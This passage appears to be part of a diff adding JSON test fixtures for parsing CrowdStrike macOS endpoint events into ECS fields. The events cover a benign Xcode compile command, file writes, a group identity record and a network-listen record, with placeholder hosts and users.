d534ede333af1ab38733a03ec7346522f2bd23ad19353fd9cfbd2bb44e3392336039250bbe34bb34f73618f0ecbb7701543c50e560356884d0330f9fab31d582ecbc19f5e03510b6ab34e35d66b85ac660bcc582563510d9083490265c3399a707bc84a0e43474d02abba593a3342f209630b98ae7bd11fb4033605e7dbc9e59f33d5f11733dc922533db943183ca5a46a3d5b42463e83bcd33cdd2f1b3f47fcb93bae3a3b3d1ceaf23e6978d53c4836653f03a29c3c9afe1e3e096bba3bde76423cfd4bf13ee1e4f73f1418933e2ee6323df1a9fc3cfe1da83df0d8453d9e7ea63b69f6a93c4083123d8a7c5b3c0266773d2e147b3ce978d53d08ce703facf41f3f510cb32e0d9dfa3df2b0213b2bd5dc3cf77af63d94ee393d782d383de978d53eb404ea3e288ce73c2209ab3f7c91d13eb0d8454010e2193cfc65413c2e53653b0ede553db674d13e6ae7d53d361bb03d1c23b83c579d0a3bd3176a3c4447c33dea161e3d8a67623bd477bc3c2f4f0e3d1e6eeb3dd07c853cd4e8fb3cded2893f42de013f6d4fdf3f276c8b3ee1e4f73f036e2f3fe58adb3e361134404d8c7e3df837b53ef18fc53faa57a83e781d7e402d53263eb8e2193f62339c3e1b089a3f204189400eb9f53fe010623f9395813f6a233a3e81ff2e3f41a9fc3f3013a93e2666663e17dbf53f1b851f3ec666663e9333333ed446743f0e560440889ba64065d2f2ad9a1b883f573eab3dd7a7873edde69b3f3f3b643eed42c43f6a30554087f62b3f92d42c3e83958140435f703f90a71e40d717593e832ca53e19ce073cd0917d3f6374bc3f8a9d1f3f26e9793f088ce73e7333333df34d6a3e8710cb3f34f7663ea20c4a3e1a02753e23bcd33e843fe63f3a36e33f0573eb3ec84b5e3c6685db3cef0ae53d17acc53c0b32cf3d05681f3e0831273c2ff6d33f0a29c73b6a9e6f3b88c60d3deecbfb3baa53fc3e2d91683b6c636b3d66d9bebb8533b13c0a0d353ea91d153ee275253dcc9d9dbc159e623c1d27c43d3ad18d3d145b6c3982b47b3b88051d3d4fe9b83a12e7cfbc579d0a3af0a5f0390a9f2b3f69db233f10b780ae9e5a073cfc26573a5a6b1bbc247ed03c9d7343ba9bb6aa3d0f66a53f7d49523dd35a863c151c5c3f35b5743ef1d14e40047f243c4d9e843b24095fbb87b99d3cdd82fd3e1c28f63beeae9f3b14812c3c91a75d3c40ad043b613f4b3d033c603d195033ba9d8c6d3b307d0b3c3d12453cd234ec3b25375dba904f6e35181195bcba493d35a2674934a531f7352bda363522229033be54dc337b157336151dabbbb5f5f1340207b7345d30d93421b49d34c2b91cbba8e2e3bc4df26733a7cdeb369116e13592f7ea34116278be173eabbc11e647bbb3d4ae328448f533b7f4153046530d359e3e2233d006d8bcf2cf96bbad9ad8bc466905351da01436249e38af17834033a03ec7346522f2bd1ddc1e35d36497bd2bb44e33bf0a47390220d734c2822235531fdebb73ba773c1888f8356884d0330f9fab31d533c2bc195ee135adf23935ab6563b85b06ccbcc84b5e3510d9083490265c33e590e6bc81450f33ce498bbba593a334d1f8602f713b9cbd1930be33605e7dbca3ec033d5d249e3dc85b183dbc115e3ca858793d5c33723e83afb83cdcc63f3f4916873bab47413d1cb6853e6b9f563c49320e3f03eab33c9afe1e3e0aa64c3bdfd6953cfac1d33ee3e4263f14af4f3e2f69443df3b6463cfeda663df2b0213d9faebc3b50678c3c4250723d8c00543c0151a43d2d0e563ce4f7663d0701113fad2bd43f5075f72e0e19d33df5f6fd3b2eb80f3cf487fd3d92e72e3d7842313de944673eb50b0f3e295e9e3c1fd36f3f7d6a163eb15b57401159b43d000a7c3c2d2dcb3b0ecd8e3db4e11e3e6c3c9f3d3adc0a3d1bb0603c52dcb13bd338f83c4100e73de9e1b13d8b53503bd6ece13c2cd9e83d201cd63dd1b7173cda12303cdc725c3f48793e3f6ded293f276c8b3f036e2f3f036e2f3fea0f913e361134404d8c7e3e0189373ef837b53fabc3613e7f62b7403012063eb79a6b3f5e63203e0d4fdf3f204189400de9e23fe010623f90be0e3f6a233a3e81ff2e3f3951833f30902e3e4275253e18793e3f1b851f3ee0f9093e9333333ed446743f045a1d40889ba64065d2f2ad9d19253f573eab3dc692f73ece21963f3f3b643eee2eb23f579a6b407e76c93f92d42c3e83958140435f703f90a71e40d717593e832ca53e25aee63cb7e9103f64c2f83f8a9d1f3f27fcb93f06a7f03e676c8b3de147ae3e884b5e3f27bb303e90cb293e3295ea3e21e4f73e81205c3f3fec573f0573eb3ebec56d3c633eff3cf1800a3d1389b53c0ac1903d0587943e06dc5d3c2efb2b3f095e9e3b67ddca3b80303c3dec8b443ba782903e30068e3b6bcc6c3d619b91bb836eb53c0bf7f03ea60aa63ee00d1b3dcc447cbc28c1553c1d55e73d36e2eb3d132b56399063903b8776813d4d7f0f3a15a1bdbc55cfab3b06f04a39c25a833f68f5c33f107c85ae9e10d83cf9335d3a594a8abc2276b83c9f16b1ba66e57d3d0e0c9e3f7dbf483dd1b7173c1435ad3f34bc6a3ef096bc4003689d3c49afe23b22fcf0bb87a8d63cde939f3e1aee633bedbb5a3b14f69d3c91e6473c402f303b64217d3d06cca33d183516ba9fe8683b33d4ae3c38f9b13cced9173b288f00ba5a42d7356eda97bcb9628d356e0c6f341b95cf341f3c6534ad5b0a32a151a8337b157335b2c72cbbb2852334900adf34553ec1346e5ee5347ab7febba8e2e3bc4df26733a7cdeb35cf19143592f7ea34c9a612be173eabbc11e647bbb3d4ae35219fff33b7f4153046530d348b7aa434677fadbcf290acbbaf2d80bc46690535a6b2cc3206f2a8af17834033a03ec7338e0e59bd1e83e435857ac3bd2bb44e33043df73927249d34bb34f735906b14bb780dc33c50e560361e0a98336f92c2320a0eb4bc19b2c435adf23935ab6563b85a4586bcc56d5d3510d9083490265c3399a707bc811b1e34cde3d7bba593a334aec0612fb676c6bd13be2333605e7dbca3ec033d59be4d3dc9667b3db83cf33ca7ef9e3d5c09813e8361133cdba0a53f485f073ba023213d191bc53e69fbe73c4059213f04dd2f3c9835163e0865953be38a7e3d0385c63ee1b08a3f142c3d3e2f9db23df0068e3cff6d333df06f693d9e7ea63b68fb013c4250723d8a4d2b3c0b007a3d2e924f3cea209b3d094c443faccccd3f50ded32e0d9dfa3df41f213b2dab9f3cf95d4f3d94a4d33d7991bc3de809d53eb532613e28db8c3c1afe1e3f7cd9e83eb0ff974010f0d83cfc3b4f3c2e53653b0ede553db6c3763e6bb98c3d35f1bf3d1a95423c53d85a3bcedd483c46bce83ded5cfb3d8ac0833bd0edc43c319a413d1e30013dd07c853cdcf0303ce243573f4ded293f69c77a3f13d70a3f036e2f3f036e2f3feaa3053e361134404d8c7e3df5c28f3ef02de03faa57a83e70d845402f5dcc3eb8e2193f62339c3df0068e3f204189400de9e23fe010623f90be0e3f6a233a3e7333333f4a85883f3318fc3e4000003e063f143f1b851f3ecb5dcc3e9333333ed446743f0e560440889ba64065d2f2ad8f49d23f573eab3dbeff193ed7f62b3f3f3b643eedab9f3f57d567409780343f9292a33e8395814041158c3f90a71e40d717593e832ca53e1a511a3c74c6e73f64c2f83f832cf93f26e9793f03a92a3e6872b03df34d6a3e884b5e3f3381d83ea20c4a3e1a02753e2353f83e825aee3f4d013b3f041f213ec240b83c6a4a8c3cf3a14d3d15b5743c091e213d059c8d3e08ce703c2f78ff3f0837b53b6a7ce13b815e393ded91683ba9cdc43e2d42c43b73dc053d6147aebb8438093c0a61173ea72b023edf559b3dcaff6dbc1bd4063c21fd153d39ffd63d128e0d398d4bad3b894c443d4f18013a195aafbc5773193af57f7339ce41413f6851ec3f0fec57ae9dfa533cfa58f73a5a0d27bc21943a3ca1dfb9ba5471063d0e56043f7dd2f23dd1b7173c14b3813f33dd983ef013a9400347d83c4ca2db3b245d42bb8733663ce243573e1b22d13bf47b673b0f32383c928e0d3c4059213b6304473d05143c3d176ddbba9aed573b3220793c3c6a7f3ccc4ef93b267621ba298e0334f8d6f4bcba493d35461af9342ca85e34c11ccb352222903385f5c5368e9b3935b2c72cbbb75ea6344cfa3134553ec134b523e734c2b91cbba8e2e3bc4df26734d636243705eeb9351ad56535332082be173eabbc11ea79bbb3d4ae35a82cc133a943c13046530d34fd74ee34677fadbcf27bb3bbad8a11bc4669053496f7d53580f4d6af1848493405e546338e0e59bd23ad193400bddcbd2bb44e33bf0a473927249d34c2822235531fdebb73ba773c626d4836cf4407330f9fab31d582ecbc1a027535b8af0035d13ed5b85ad11cbcc582563573cb0735d499d3319cda2abc8548aa3474d02abba593a3351ccb0c2f713b9cbd14a4d333605e7dbca3ec033d6108c43dc9e4503dba34443ca454de3d5a511a3e84816f3cdc09813f4773193bac3a863d1945b73e6b1c433c48de2b3f03e4263c9a415f3e08b4393bd8ba413d0073583ee1cac13f13a92a3e2e48e93df318fc3d0216c63df212d73d9d7dbf3b627e0f3c44ef893d8ba1f53c03e8573d2c9afe3ce5f30e3d0846203fac710d3f50c49c2e0d4f2a3df487fd3b306c443cf837b53d96ffc13d795d4f3de8db8c3eb4bc6a3e28a71e3c1fba453f7c56d63eb07c854010c63f3cfeb0753c3170503b0e68e43db977853e6bb98c3d3c7f783d19a4163c55f99c3bd1e96c3c4669053debb98c3d8a6ca03bde43ee3c2efb2b3d2007dd3dce075f3cdbb59e3ce75793b01aa501\",\"event_simpleName\":\"DeliverLocalFXToCloud\",\"ConfigStateHash\":\"1620585913\",\"aip\":\"67.43.156.14\",\"ModelPrediction\":\"1436899696705536\",\"SHA256HashData\":\"c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2\",\"Malicious\":\"0\",\"ConfigBuild\":\"1007.4.0013701.1\",\"FeatureExtractionVersion\":\"2\",\"event_platform\":\"Mac\",\"FXFileSize\":\"502032\",\"Entitlements\":\"15\",\"name\":\"DeliverLocalFXToCloudMacV4\",\"PupAdwareDecisionValue\":\"12384657383358464\",\"id\":\"ffffffff-1111-11eb-b44e-069a02b0ad6b\",\"PupAdwareConfidence\":\"0\",\"EffectiveTransmissionClass\":\"1\",\"aid\":\"ffffffff45d647e6ae0ba8764a4bd570\",\"MLModelVersion\":\"4\",\"timestamp\":\"1625677489052\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}" + }, + "host": { + "id": "ffffffff45d647e6ae0ba8764a4bd570", + "os": { + "type": "macos" + } + }, + "message": "DeliverLocalFXToCloud", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffff45d647e6ae0ba8764a4bd570", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "c89caf538788e6524bf4ae93194051f3389eecbc71e4793f12a2dc0368211cc2", + "1620585913" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:05:25.128Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ContextProcessId": "365035560818271291", + "ContextTimeStamp": "2021-07-07T17:05:24.929Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-8332-020506b18db5", + "name": "CreateProcessArgsMac" + }, + "device": { + "id": "ffffffffb3a3442585c05abc61e290fc" + }, + "event": { + "action": "CreateProcessArgs", + "category": [ + "process" + ], + "created": "2021-07-07T17:05:25.128Z", + "id": "ffffffff-1111-11eb-8332-020506b18db5|ffffffffb3a3442585c05abc61e290fc|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "state", + "original": "{\"event_simpleName\":\"CreateProcessArgs\",\"ContextTimeStamp\":\"1625677524.929\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"365035560818271291\",\"ContextThreadId\":\"365035560818271291\",\"aip\":\"67.43.156.14\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"CommandLine\":\"t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules\",\"Entitlements\":\"15\",\"name\":\"CreateProcessArgsMac\",\"id\":\"ffffffff-1111-11eb-8332-020506b18db5\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffb3a3442585c05abc61e290fc\",\"timestamp\":\"1625677525128\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend\"}", + "outcome": "success", + "type": [ + "start" + ] + }, + "file": { + "directory": "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin", + "name": "swift-frontend", + "path": "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin/swift-frontend", + "type": "file" + }, + "host": { + "id": "ffffffffb3a3442585c05abc61e290fc", + "os": { + "type": "macos" + } + }, + "message": "CreateProcessArgs", + "observer": { + "address": [ + "67.43.156.14" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.14" + ], + "serial_number": "ffffffffb3a3442585c05abc61e290fc", + "version": "1007.4.0013701.1" + }, + "process": { + "args": [ + "t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o", + "-o", + "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o", + "-o", + "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o", + "-o", + "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o", + "-o", + "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o", + "-o", + "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o", + "-o", + "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o", + "-o", + "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o", + "-index-store-path", + "/Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore", + "-index-system-modules" + ], + "args_count": 18, + "command_line": "t.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/CategorySurfaceViewController.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationActionView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationAddressView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationErrorView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationHeaderView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationLoadingView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationPostalCodeView.o -o /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Build/Intermediates.noindex/Instacart.build/Debug-iphonesimulator/Carrot.build/Objects-normal/x86_64/ChangeLocationViewController.o -index-store-path /Users/user4/Library/Developer/Xcode/DerivedData/Instacart-ceioektzbmfzbcgtsioovgzlzmnt/Index/DataStore -index-system-modules", + "entity_id": "365035560818271291", + "thread": { + "id": 365035560818271291 + } + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.14" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:48.576Z", + "crowdstrike": { + "ConfigStateHash": "3090255842", + "ContextProcessId": "364156540965623394", + "ContextTimeStamp": "2021-07-07T17:04:48.523Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-8903-022a1941b91f", + "name": "PdfFileWrittenMacV1" + }, + "device": { + "id": "ffffffffc4044541995bffd84b9df003" + }, + "event": { + "action": "PdfFileWritten", + "category": [ + "file" + ], + "created": "2021-07-07T17:04:48.576Z", + "id": "ffffffff-1111-11eb-8903-022a1941b91f|ffffffffc4044541995bffd84b9df003|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"PdfFileWritten\",\"ContextTimeStamp\":\"1625677488.523\",\"ConfigStateHash\":\"3090255842\",\"ContextProcessId\":\"364156540965623394\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.13\",\"FileIdentifier\":\"05000001000000000000000000000000f1321d0000000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"PdfFileWrittenMacV1\",\"id\":\"ffffffff-1111-11eb-8903-022a1941b91f\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffffc4044541995bffd84b9df003\",\"timestamp\":\"1625677488576\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95\"}", + "outcome": "success", + "type": [ + "creation" + ] + }, + "file": { + "directory": "/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO", + "inode": "05000001000000000000000000000000f1321d0000000000", + "name": "mso6ACABA95", + "path": "/private/var/folders/pt/s9pzbbwd07q_0fxqvfhc513r0000gp/T/com.microsoft.Excel/Content.MSO/mso6ACABA95", + "type": "file" + }, + "host": { + "id": "ffffffffc4044541995bffd84b9df003", + "os": { + "type": "macos" + } + }, + "message": "PdfFileWritten", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffffc4044541995bffd84b9df003", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "364156540965623394", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "3090255842" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:38.379Z", + "crowdstrike": { + "AuthenticationId": "1119489580471877843", + "AuthenticationUuid": "ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2", + "AuthenticationUuidAsString": "ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2", + "ConfigStateHash": "3967242894", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9dc2-029257dbe83b", + "name": "GroupIdentityMacV2" + }, + "device": { + "id": "ffffffff44564c2f8d76394cb25c31ab" + }, + "event": { + "action": "GroupIdentity", + "created": "2021-07-07T17:04:38.379Z", + "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac", + "original": "{\"event_simpleName\":\"GroupIdentity\",\"GID\":\"242\",\"AuthenticationUuidAsString\":\"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2\",\"ConfigStateHash\":\"3967242894\",\"aip\":\"67.43.156.13\",\"AuthenticationId\":\"1119489580471877843\",\"UserPrincipal\":\"user2@dom1\",\"UserSid\":\"S-1-5-21-3852557355-3178143607-2040168074-1485\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"GroupIdentityMacV2\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"AuthenticationUuid\":\"ABCDEFAB-CDEF-ABCD-EFAB-CDEF000000F2\",\"timestamp\":\"1625677478379\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}" + }, + "host": { + "id": "ffffffff44564c2f8d76394cb25c31ab", + "os": { + "type": "macos" + } + }, + "message": "GroupIdentity", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff44564c2f8d76394cb25c31ab", + "version": "1007.4.0013701.1" + }, + "related": { + "hash": [ + "3967242894" + ], + "ip": [ + "67.43.156.13" + ], + "user": [ + "user2", + "user2@dom1", + "S-1-5-21-3852557355-3178143607-2040168074-1485" + ] + }, + "tags": [ + "preserve_original_event" + ], + "user": { + "domain": "dom1", + "email": "user2@dom1", + "full_name": "user2", + "group": { + "id": "242" + }, + "id": "S-1-5-21-3852557355-3178143607-2040168074-1485" + } + }, + { + "@timestamp": "2021-07-07T17:04:39.336Z", + "crowdstrike": { + "ConfigStateHash": "3967242894", + "ContextProcessId": "364938429384226082", + "ContextTimeStamp": "2021-07-07T01:50:11.845Z", + "EffectiveTransmissionClass": "2", + "Entitlements": "15", + "MachOSubType": "3", + "SHA256HashData": "c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198", + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9dc2-029257dbe83b", + "name": "MachOFileWrittenMacV3" + }, + "device": { + "id": "ffffffff44564c2f8d76394cb25c31ab" + }, + "event": { + "action": "MachOFileWritten", + "category": [ + "file" + ], + "created": "2021-07-07T17:04:39.336Z", + "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": "{\"event_simpleName\":\"MachOFileWritten\",\"ContextTimeStamp\":\"1625622611.845\",\"ConfigStateHash\":\"3967242894\",\"MachOSubType\":\"3\",\"ContextProcessId\":\"364938429384226082\",\"Size\":\"0\",\"ContextThreadId\":\"0\",\"aip\":\"67.43.156.13\",\"SHA256HashData\":\"c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198\",\"FileIdentifier\":\"04000001000000000000000000000000ac41270400000000\",\"ConfigBuild\":\"1007.4.0013701.1\",\"event_platform\":\"Mac\",\"Entitlements\":\"15\",\"name\":\"MachOFileWrittenMacV3\",\"id\":\"ffffffff-1111-11eb-9dc2-029257dbe83b\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"ffffffff44564c2f8d76394cb25c31ab\",\"timestamp\":\"1625677479336\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\",\"TargetFileName\":\"/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl\"}", + "outcome": "success", + "type": [ + "change" + ] + }, + "file": { + "directory": "/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T", + "extension": "ev80yl", + "hash": { + "sha256": "c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198" + }, + "inode": "04000001000000000000000000000000ac41270400000000", + "name": ".net.example.desktop.ev80yl", + "path": "/private/var/folders/bf/dwpvdj3d1tq00l8fgs5rd7x00000gn/T/.net.example.desktop.ev80yl", + "size": 0, + "type": "file" + }, + "host": { + "id": "ffffffff44564c2f8d76394cb25c31ab", + "os": { + "type": "macos" + } + }, + "message": "MachOFileWritten", + "observer": { + "address": [ + "67.43.156.13" + ], + "geo": { + "continent_name": "Asia", + "country_iso_code": "BT", + "country_name": "Bhutan", + "location": { + "lat": 27.5, + "lon": 90.5 + } + }, + "ip": [ + "67.43.156.13" + ], + "serial_number": "ffffffff44564c2f8d76394cb25c31ab", + "version": "1007.4.0013701.1" + }, + "process": { + "entity_id": "364938429384226082", + "thread": { + "id": 0 + } + }, + "related": { + "hash": [ + "c0f50d27fe9fb31e33d1ce6577eeb4d4e17639095ad20575da018d1fcf955198", + "3967242894" + ], + "ip": [ + "67.43.156.13" + ] + }, + "tags": [ + "preserve_original_event" + ] + }, + { + "@timestamp": "2021-07-07T17:04:38.929Z", + "crowdstrike": { + "ConfigStateHash": "3967242894", + "ConnectionFlags": "0", + "ContextProcessId": "364938390018585510", + "ContextTimeStamp": "2021-07-07T01:50:08.014Z", + "EffectiveTransmissionClass": "3", + "Entitlements": "15", + "InContext": "0", + "LocalAddressIP6": [ + "0:0:0:0:0:0:0:0" + ], + "cid": "ffffffff15754bcfb5f9152ec7ac90ac", + "id": "ffffffff-1111-11eb-9dc2-029257dbe83b", + "name": "NetworkListenIP6MacV10" + }, + "destination": { + "address": "0:0:0:0:0:0:0:0", + "ip": "0:0:0:0:0:0:0:0", + "port": 0 + }, + "device": { + "id": "ffffffff44564c2f8d76394cb25c31ab" + }, + "event": { + "action": "NetworkListenIP6", + "category": [ + "network" + ], + "created": "2021-07-07T17:04:38.929Z", + "id": "ffffffff-1111-11eb-9dc2-029257dbe83b|ffffffff44564c2f8d76394cb25c31ab|ffffffff15754bcfb5f9152ec7ac90ac", + "kind": "event", + "original": 